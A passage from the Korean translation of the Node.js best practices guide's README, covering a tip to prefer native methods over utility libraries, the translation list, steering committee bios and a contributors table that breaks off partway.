`underscore` 같은 유틸 라이브러리를 쓰는 것은 불필요한 의존성이나 성능 저하를 야기할 수 있기에 보통 페날티가 붙는다.\n새로운 V8 엔진과 함께 새로운 ES 기준이 도입되고부터 네이티브 메소드가 유틸리티 라이브러리보다 50% 더 능률적이라는 것을 명심해라.\n\n**그렇게 하지 않을 경우:** 기본적으로 **이미** 내장된 코드를 쓰거나 코드를 몇줄 더 써서 파일을 몇개 더 써야 하는 것을 막을 수 있었음에도 불구하고 더 비능률적인 프로젝트를 유지해야 할 것이다.\n\n🔗 [**자세히 보기: Native over user land utils**](./sections/performance/nativeoverutil.md)\n\n<br/><br/><br/>\n\n# 마일스톤\n\n이 가이드를 관리하고 최신 버전을 유지하기 위해, 우리는 지속해서 가이드라인과 모범 사례들을 커뮤니티의 도움으로 업데이트하고 개선해 나가고 있습니다. [마일스톤](https://github.com/goldbergyoni/nodebestpractices/milestones)을 확인하시고 이 프로젝트에 기여하고 싶다면 작업중인 그룹에 참여하세요!\n\n<br/>\n\n## 번역\n\n모든 번역은 커뮤니티에 의해 기여되고 있습니다. 이미 완성된 번역이나, 진행중, 새로운 번역에 대한 도움은 언제나 환영합니다!\n\n### 번역 작업 완료\n\n- ![BR](./assets/flags/BR.png) [브라질식 포르투갈어](./README.brazilian-portuguese.md) - [마르셀로 멜로](https://github.com/marcelosdm) 제공\n- ![CN](./assets/flags/CN.png) [중국어](./README.chinese.md) - [맷 진](https://github.com/mattjin) 제공\n- ![RU](./assets/flags/RU.png) [러시아어](./README.russian.md) - [알렉스 이바노브](https://github.com/contributorpw) 제공\n\n### 번역 작업중\n\n- ![FR](./assets/flags/FR.png) [프랑스어](https://github.com/gaspaonrocks/nodebestpractices/blob/french-translation/README.french.md) ([Discussion](https://github.com/goldbergyoni/nodebestpractices/issues/129))\n- ![HE](./assets/flags/HE.png) 히브리어 ([Discussion](https://github.com/goldbergyoni/nodebestpractices/issues/156))\n- ![KR](./assets/flags/KR.png) [한국어](README.korean.md) - [한상범](https://github.com/uronly14me) ([Discussion](https://github.com/goldbergyoni/nodebestpractices/issues/94)) 제공\n- ![ES](./assets/flags/ES.png) [스페인어](https://github.com/goldbergyoni/nodebestpractices/blob/spanish-translation/README.spanish.md) ([Discussion](https://github.com/goldbergyoni/nodebestpractices/issues/95))\n- ![TR](./assets/flags/TR.png) 터키어 ([Discussion](https://github.com/goldbergyoni/nodebestpractices/issues/139))\n\n<br/><br/>\n\n## 운영 위원회\n\n프로젝트를 지도하고 앞으로 나아갈 방향을 제시하는데 함께 일하는 운영 위원회 일원들을 소개합니다. 추가로, 위원회원들은 각자 [Github 프로젝트](https://github.com/goldbergyoni/nodebestpractices/projects) 아래에 인행되는 프로젝트들을 인솔합니다.\n\n<img align=\"left\" width=\"100\" height=\"100\" src=\"assets/images/members/yoni.png\"/>\n\n[요니 골드버그](https://github.com/goldbergyoni)\n<a href=\"https://twitter.com/goldbergyoni\"><img src=\"assets/images/twitter-s.png\" width=\"16\" height=\"16\"></img></a>\n<a href=\"https://goldbergyoni.com\"><img src=\"assets/images/www.png\" width=\"16\" height=\"16\"></img></a>\n\n미국, 유럽과 이스라엘의 고객들과 대규모 Node.js 애플리케이션 건축하는데 일하는 독립적인 Node.js 컨설턴트입니다. 모범사례 중 다수는 [goldbergyoni.com](https://goldbergyoni.com)에 처음 게재되었던 것들입니다. [@goldbergyoni](https://github.com/goldbergyoni)나 [me@goldbergyoni.com](mailto:me@goldbergyoni.com)로 요니에게 연락하세요.\n\n<br/>\n\n<img align=\"left\" width=\"100\" height=\"100\" src=\"assets/images/members/bruno.png\"/>\n\n[브루노 슈플러](https://github.com/BrunoScheufler)\n<a href=\"https://brunoscheufler.com/\"><img src=\"assets/images/www.png\" width=\"16\" height=\"16\"></img></a>\n\n💻 풀스택 웹 엔지니어, Node.js & GraphQL 광팬\n\n<br/>\n\n<img align=\"left\" width=\"100\" height=\"100\" src=\"assets/images/members/kyle.png\"/>\n\n[카일 마틴](https://github.com/js-kyle)\n<a href=\"https://twitter.com/kylemartin_93\"><img src=\"assets/images/twitter-s.png\" width=\"16\" height=\"16\"></img></a>\n<a href=\"https://www.linkedin.com/in/kylemartinnz\"><img src=\"assets/images/linkedin.png\" width=\"16\" height=\"16\"></img></a>\n\n뉴질랜드에 거주하는 풀스택 개발자 & 사이트 신뢰성 엔지니어이며, 웹 애플리케이션 보안과 글로벌한 규모에서 수행하는 Node.js 애플리케이션을 설계하고 건축하는데 관심이 있습니다.\n\n<br/>\n\n<img align=\"left\" width=\"100\" height=\"100\" src=\"assets/images/members/sagir.png\"/>\n\n[사기르 칸](https://github.com/sagirk)\n<a href=\"https://twitter.com/sagir_k\"><img src=\"assets/images/twitter-s.png\" width=\"16\" height=\"16\"></img></a>\n<a href=\"https://sagirk.com\"><img src=\"assets/images/www.png\" width=\"16\" height=\"16\"></img></a>\n<a href=\"https://linkedin.com/in/sagirk\"><img src=\"assets/images/linkedin.png\" width=\"16\" height=\"16\"></img></a>\n\n웹 플랫폼을 사용해 세계적으로 유명한 브랜드들을 위한 상품을 만드는 자바스크립트 및 생태계 (React, Node.js, MongoDB 외 시스템 어느 계층에서건 자바스크립트/JSON 사용과 관련된 것은 어떤것이든) 전문가 입니다. Node.js 단체의 개인 일원이며, 공동체 위원회의 웹사이트 재설계 계획에 협력하고 있습니다.\n\n<br/>\n\n## 공동 저자\n\n모든 공동 저자 분들께 감사드립니다! 🙏\n\n공동 저자들은 새로운 모범사례를 제안하거나, 사안을 분류하거나, 풀리퀘스트를 검토하는 등 리포지토리에 정기적으로 기여하는 일원들입니다. 수천명의 사람들이 더 나은 Node.js 애플리케이션을 만들 수 있도록 안내하며 돕는데 관심이 있으시다면 [기여자 지침서](./.operations/CONTRIBUTING.md)를 읽어주세요 🎉\n\n| <a href=\"https://github.com/idori\" target=\"_blank\"><img src=\"assets/images/members/ido.png\" width=\"75\" height=\"75\"/></a> | <a href=\"https://github.com/TheHollidayInn\" target=\"_blank\"><img src=\"assets/images/members/keith.png\" width=\"75\" height=\"75\"/></a> | <a href=\"https://github.com/kevynb\" target=\"_blank\"><img src=\"assets/images/members/kevyn.png\" width=\"59\" height=\"59\"/></a> |\n| :---------------------------------------------------------------------------------------------------------------------: | :--------------------------------------------------------------------------------------------------------------------------------: | :------------------------------------------------------------------------------------------------------------------------: |\n|                                     [이도 릭터 (창립주)](https://github.com/idori)                                      |                                         [키스 홀리데이](https://github.com/TheHollidayInn)                                         |                                         [케빈 브뤼예르](https://github.com/kevynb)                                         |\n\n### 전 공동 저자\n\n| <a href=\"https://github.com/refack\" target=\"_blank\"><img src=\"assets/images/members/refael.png\" width=\"50\" height=\"50\"/></a> |\n| :-------------------------------------------------------------------------------------------------------------------------: |\n|                                        [Refael Ackermann](https://github.com/refack)                                        |\n\n<br/>\n\n## 기여하기\n\n오픈소스에 참여하고 싶으시다면 지금이 바로 기회! [기여자 지침서](.operations/CONTRIBUTING.md)에서 더 자세한 내용을 확인하세요.\n\n## 기여자 ✨\n\n이 리포지터리에 기여해 주신 여기 이 모든 분께 감사드립니다!\n\n<!-- ALL-CONTRIBUTORS-LIST:START - Do not remove or modify this section -->\n<!-- prettier-ignore-start -->\n<!-- markdownlint-disable -->\n<table>\n  <tbody>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/kevinrambaud\"><img src=\"https://avatars1.githubusercontent.com/u/7501477?v=4\" width=\"100px;\" alt=\"Kevin Rambaud\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Kevin Rambaud</b></sub></a><br /><a href=\"#content-kevinrambaud\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/mfine15\"><img src=\"https://avatars1.githubusercontent.com/u/1286554?v=4\" width=\"100px;\" alt=\"Michael Fine\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Michael Fine</b></sub></a><br /><a href=\"#content-mfine15\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://squgeim.github.io\"><img src=\"https://avatars0.githubusercontent.com/u/4996818?v=4\" width=\"100px;\" alt=\"Shreya Dahal\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Shreya Dahal</b></sub></a><br /><a href=\"#content-squgeim\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://matheusrocha89.com\"><img src=\"https://avatars1.githubusercontent.com/u/3718366?v=4\" width=\"100px;\" alt=\"Matheus Cruz Rocha\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Matheus Cruz Rocha</b></sub></a><br /><a href=\"#content-matheusrocha89\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://bityog.github.io/Portfolio/\"><img src=\"https://avatars2.githubusercontent.com/u/28219178?v=4\" width=\"100px;\" alt=\"Yog Mehta\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Yog Mehta</b></sub></a><br /><a href=\"#content-BitYog\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://kudapara.co.zw\"><img src=\"https://avatars3.githubusercontent.com/u/13519184?v=4\" width=\"100px;\" alt=\"Kudakwashe Paradzayi\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Kudakwashe Paradzayi</b></sub></a><br /><a href=\"#content-kudapara\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.t1st3.com/\"><img src=\"https://avatars1.githubusercontent.com/u/1469638?v=4\" width=\"100px;\" alt=\"t1st3\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>t1st3</b></sub></a><br /><a href=\"#content-t1st3\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/mulijordan1976\"><img src=\"https://avatars0.githubusercontent.com/u/33382022?v=4\" width=\"100px;\" alt=\"mulijordan1976\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>mulijordan1976</b></sub></a><br /><a href=\"#content-mulijordan1976\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://twitter.com/matchai\"><img src=\"https://avatars0.githubusercontent.com/u/4658208?v=4\" width=\"100px;\" alt=\"Matan Kushner\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Matan Kushner</b></sub></a><br /><a href=\"#content-matchai\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://fabiothiroki.github.io\"><img src=\"https://avatars2.githubusercontent.com/u/670057?v=4\" width=\"100px;\" alt=\"Fabio Hiroki\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Fabio Hiroki</b></sub></a><br /><a href=\"#content-fabiothiroki\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://james.sumners.info/\"><img src=\"https://avatars1.githubusercontent.com/u/321201?v=4\" width=\"100px;\" alt=\"James Sumners\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>James Sumners</b></sub></a><br /><a href=\"#content-jsumners\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://twitter.com/_DanGamble\"><img src=\"https://avatars2.githubusercontent.com/u/7152041?v=4\" width=\"100px;\" alt=\"Dan Gamble\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Dan Gamble</b></sub></a><br /><a href=\"#content-dan-gamble\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/trainorpj\"><img src=\"https://avatars3.githubusercontent.com/u/13276704?v=4\" width=\"100px;\" alt=\"PJ Trainor\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>PJ Trainor</b></sub></a><br /><a href=\"#content-trainorpj\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/reod\"><img src=\"https://avatars0.githubusercontent.com/u/3164299?v=4\" width=\"100px;\" alt=\"Remek Ambroziak\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Remek Ambroziak</b></sub></a><br /><a href=\"#content-reod\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://ca.non.co.il\"><img src=\"https://avatars0.githubusercontent.com/u/1829789?v=4\" width=\"100px;\" alt=\"Yoni Jah\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Yoni Jah</b></sub></a><br /><a href=\"#content-yonjah\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/hazolsky\"><img src=\"https://avatars1.githubusercontent.com/u/1270790?v=4\" width=\"100px;\" alt=\"Misha Khokhlov\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Misha Khokhlov</b></sub></a><br /><a href=\"#content-hazolsky\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://plus.google.com/+ЕвгенийОрехов/\"><img src=\"https://avatars3.githubusercontent.com/u/8045060?v=4\" width=\"100px;\" alt=\"Evgeny Orekhov\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Evgeny Orekhov</b></sub></a><br /><a href=\"#content-EvgenyOrekhov\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/gediminasml\"><img src=\"https://avatars3.githubusercontent.com/u/19854105?v=4\" width=\"100px;\" alt=\"-\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>-</b></sub></a><br /><a href=\"#content-gediminasml\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://hisaac.net\"><img src=\"https://avatars3.githubusercontent.com/u/923876?v=4\" width=\"100px;\" alt=\"Isaac Halvorson\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Isaac Halvorson</b></sub></a><br /><a href=\"#content-hisaac\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://www.vedrankaracic.com\"><img src=\"https://avatars3.githubusercontent.com/u/2808092?v=4\" width=\"100px;\" alt=\"Vedran Karačić\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Vedran Karačić</b></sub></a><br /><a href=\"#content-vkaracic\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/lallenlowe\"><img src=\"https://avatars3.githubusercontent.com/u/10761165?v=4\" width=\"100px;\" alt=\"lallenlowe\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>lallenlowe</b></sub></a><br /><a href=\"#content-lallenlowe\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/nwwells\"><img src=\"https://avatars2.githubusercontent.com/u/1039473?v=4\" width=\"100px;\" alt=\"Nathan Wells\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Nathan Wells</b></sub></a><br /><a href=\"#content-nwwells\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/paulovitin\"><img src=\"https://avatars0.githubusercontent.com/u/125503?v=4\" width=\"100px;\" alt=\"Paulo Reis\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Paulo Reis</b></sub></a><br /><a href=\"#content-paulovitin\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://snap.simpego.ch\"><img src=\"https://avatars2.githubusercontent.com/u/1989646?v=4\" width=\"100px;\" alt=\"syzer\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>syzer</b></sub></a><br /><a href=\"#content-syzer\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://sancho.dev\"><img src=\"https://avatars0.githubusercontent.com/u/3763599?v=4\" width=\"100px;\" alt=\"David Sancho\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>David Sancho</b></sub></a><br /><a href=\"#content-davesnx\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://apiforge.it\"><img src=\"https://avatars0.githubusercontent.com/u/4929965?v=4\" width=\"100px;\" alt=\"Robert Manolea\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Robert Manolea</b></sub></a><br /><a href=\"#content-pupix\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://jumptoglide.com\"><img src=\"https://avatars2.githubusercontent.com/u/708395?v=4\" width=\"100px;\" alt=\"Xavier Ho\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Xavier Ho</b></sub></a><br /><a href=\"#content-spaxe\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://www.ocular-rhythm.io\"><img src=\"https://avatars0.githubusercontent.com/u/2738518?v=4\" width=\"100px;\" alt=\"Aaron\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Aaron</b></sub></a><br /><a href=\"#content-ocularrhythm\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://septa97.me\"><img src=\"https://avatars2.githubusercontent.com/u/13742634?v=4\" width=\"100px;\" alt=\"Jan Charles Maghirang Adona\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Jan Charles Maghirang Adona</b></sub></a><br /><a href=\"#content-septa97\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.cakeresume.com/allenfang\"><img src=\"https://avatars2.githubusercontent.com/u/5351390?v=4\" width=\"100px;\" alt=\"Allen\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Allen</b></sub></a><br /><a href=\"#content-AllenFang\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/leonardovillela\"><img src=\"https://avatars3.githubusercontent.com/u/8650543?v=4\" width=\"100px;\" alt=\"Leonardo Villela\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Leonardo Villela</b></sub></a><br /><a href=\"#content-leonardovillela\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://michalzalecki.com\"><img src=\"https://avatars1.githubusercontent.com/u/3136577?v=4\" width=\"100px;\" alt=\"Michał Załęcki\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Michał Załęcki</b></sub></a><br /><a href=\"#content-MichalZalecki\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://www.wealthbar.com\"><img src=\"https://avatars1.githubusercontent.com/u/156449?v=4\" width=\"100px;\" alt=\"Chris Nicola\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Chris Nicola</b></sub></a><br /><a href=\"#content-chrisnicola\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://twitter.com/aecorredor\"><img src=\"https://avatars3.githubusercontent.com/u/9114987?v=4\" width=\"100px;\" alt=\"Alejandro Corredor\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Alejandro Corredor</b></sub></a><br /><a href=\"#content-aecorredor\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/cwar\"><img src=\"https://avatars3.githubusercontent.com/u/272843?v=4\" width=\"100px;\" alt=\"cwar\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>cwar</b></sub></a><br /><a href=\"#content-cwar\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/keyfoxth\"><img src=\"https://avatars3.githubusercontent.com/u/10647132?v=4\" width=\"100px;\" alt=\"Yuwei\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Yuwei</b></sub></a><br /><a href=\"#content-keyfoxth\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://bigcodenerd.org\"><img src=\"https://avatars3.githubusercontent.com/u/10895594?v=4\" width=\"100px;\" alt=\"Utkarsh Bhatt\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Utkarsh Bhatt</b></sub></a><br /><a href=\"#content-utkarshbhatt12\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/duartemendes\"><img src=\"https://avatars2.githubusercontent.com/u/12852058?v=4\" width=\"100px;\" alt=\"Duarte Mendes\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Duarte Mendes</b></sub></a><br /><a href=\"#content-duartemendes\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://jasonkim.ca\"><img src=\"https://avatars2.githubusercontent.com/u/103456?v=4\" width=\"100px;\" alt=\"Jason Kim\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Jason Kim</b></sub></a><br /><a href=\"#content-serv\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/Max101\"><img src=\"https://avatars2.githubusercontent.com/u/2124249?v=4\" width=\"100px;\" alt=\"Mitja O.\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Mitja O.</b></sub></a><br /><a href=\"#content-Max101\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://sandromiguel.com\"><img src=\"https://avatars0.githubusercontent.com/u/6423157?v=4\" width=\"100px;\" alt=\"Sandro Miguel Marques\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Sandro Miguel Marques</b></sub></a><br /><a href=\"#content-SandroMiguel\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/GabeKuslansky\"><img src=\"https://avatars3.githubusercontent.com/u/9855482?v=4\" width=\"100px;\" alt=\"Gabe\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Gabe</b></sub></a><br /><a href=\"#content-GabeKuslansky\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://ripper234.com/\"><img src=\"https://avatars1.githubusercontent.com/u/172282?v=4\" width=\"100px;\" alt=\"Ron Gross\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Ron Gross</b></sub></a><br /><a href=\"#content-ripper234\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://www.thecodebarbarian.com\"><img src=\"https://avatars2.githubusercontent.com/u/1620265?v=4\" width=\"100px;\" alt=\"Valeri Karpov\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Valeri Karpov</b></sub></a><br /><a href=\"#content-vkarpov15\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://sergiobernal.com\"><img src=\"https://avatars3.githubusercontent.com/u/20087388?v=4\" width=\"100px;\" alt=\"Sergio Bernal\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Sergio Bernal</b></sub></a><br /><a href=\"#content-imsergiobernal\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/ntelkedzhiev\"><img src=\"https://avatars2.githubusercontent.com/u/7332371?v=4\" width=\"100px;\" alt=\"Nikola Telkedzhiev\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Nikola Telkedzhiev</b></sub></a><br /><a href=\"#content-ntelkedzhiev\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/vitordagamagodoy\"><img src=\"https://avatars0.githubusercontent.com/u/26370059?v=4\" width=\"100px;\" alt=\"Vitor Godoy\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Vitor Godoy</b></sub></a><br /><a href=\"#content-vitordagamagodoy\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.manishsaraan.com/\"><img src=\"https://avatars2.githubusercontent.com/u/19797340?v=4\" width=\"100px;\" alt=\"Manish Saraan\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Manish Saraan</b></sub></a><br /><a href=\"#content-manishsaraan\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/uronly14me\"><img src=\"https://avatars2.githubusercontent.com/u/5186814?v=4\" width=\"100px;\" alt=\"Sangbeom Han\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Sangbeom Han</b></sub></a><br /><a href=\"#content-uronly14me\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://blackmatch.github.io\"><img src=\"https://avatars3.githubusercontent.com/u/12443954?v=4\" width=\"100px;\" alt=\"blackmatch\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>blackmatch</b></sub></a><br /><a href=\"#content-blackmatch\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://simmsreeve.com\"><img src=\"https://avatars3.githubusercontent.com/u/5173131?v=4\" width=\"100px;\" alt=\"Joe Reeve\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Joe Reeve</b></sub></a><br /><a href=\"#content-ISNIT0\" title=\"Content\">🖋</a></td>\n 